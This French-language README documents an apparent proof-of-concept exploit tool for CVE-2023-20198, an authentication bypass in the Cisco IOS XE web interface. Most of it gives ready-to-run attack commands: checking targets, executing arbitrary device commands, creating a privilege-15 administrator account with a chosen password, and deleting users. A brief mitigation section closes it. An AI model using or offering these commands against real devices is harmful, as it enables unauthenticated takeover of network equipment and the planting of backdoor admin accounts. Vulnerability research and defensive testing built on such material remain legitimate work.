
Exploit de preuve de concept pour CVE-2023-20198, une vulnérabilité de contournement d'authentification affectant Cisco IOS XE Web UI.
Ce dépôt contient un proof-of-concept pour CVE-2023-20198, une vulnérabilité de contournement d'authentification affectant l'interface Web Cisco IOS XE.
La vulnérabilité permet à des attaquants non authentifiés d'exécuter des commandes arbitraires sur des équipements Cisco vulnérables via des requêtes SOAP malveillantes, pouvant conduire à une compromission totale de l'appareil, y compris l'exécution de commandes à distance et la création/suppression d'utilisateurs administrateurs.
CVE: CVE-2023-20198
Produit affecté: Cisco IOS XE (interface Web / interface WSMA)
Impact:
Vecteur d'attaque: Réseau (HTTP/HTTPS)
Privilèges requis: Aucun (non authentifié)
Cette vulnérabilité est causée par une gestion incorrecte de l'authentification dans le point de terminaison Web Services Management Agent (WSMA), permettant aux attaquants de contourner l'authentification à l'aide de requêtes HTTP malveillantes.
requestscoloramaInstaller les dépendances :
pip install -r requirements.txt
usage: main.py [-h] -t TARGET [-c] [-C CMD] [-a] [-d] [-u USERNAME] [-p PASSWORD]
Authentication Bypass Exploit for Cisco IOS XE Devices (CVE-2023-20198)
options:
-h, --help show this help message and exit
-t TARGET, --target TARGET
Target Cisco IOS XE Device
-c, --check Check if the Target is vulnerable to CVE-2023-20198
-C CMD, --cmd CMD Cisco IOS XE Command to Execute
-a, --add Add New Username and Password
-d, --delete Delete existing User
-u USERNAME, --username USERNAME
Username for Account Creation
-p PASSWORD, --password PASSWORD
Password for Account Creation (Random Password Generated if not Provided)

Vérifiez si la cible est vulnérable :
python3 exploit.py -t https://<TARGET-IP> -c

Si vulnérable, l'outil détectera automatiquement le point de terminaison WSMA exploitable et affichera les détails de l'appareil.
Exécutez des commandes sur l'appareil vulnérable :
python3 exploit.py -t https://<TARGET-IP> -C "<COMMAND>"
Exemple :
python3 exploit.py -t https://<TARGET-IP> -C "show running | include username"

Créez un nouvel utilisateur administrateur de privilège 15 :
python3 exploit.py -t https://<TARGET-IP> -a -u cisco -p kaptaan

Si aucun mot de passe n'est fourni, le script génère automatiquement un mot de passe sécurisé aléatoire.
Avec le compte nouvellement créé, vous pouvez accéder à l'interface Web de l'appareil

Supprimez un utilisateur existant :
python3 exploit.py -t https://<TARGET-IP> -d -u cisco

Mettez à niveau Cisco IOS XE vers la dernière version corrigée
Désactivez l'interface Web si elle n'est pas nécessaire :
no ip http server
no ip http secure-server
Restreignez l'accès de gestion via les ACL
| Option | Description |
|---|
-t, --target | Cible Cisco IOS XE (obligatoire) |
-c, --check | Vérifier si la cible est vulnérable |
-C, --cmd | Exécuter une commande Cisco IOS XE |
-a, --add | Ajouter un nouvel utilisateur administrateur |
-d, --delete | Supprimer un utilisateur existant |
-u, --username | Nom d'utilisateur pour la création/suppression |
-p, --password | Mot de passe pour le nouveau compte (aléatoire si non fourni) |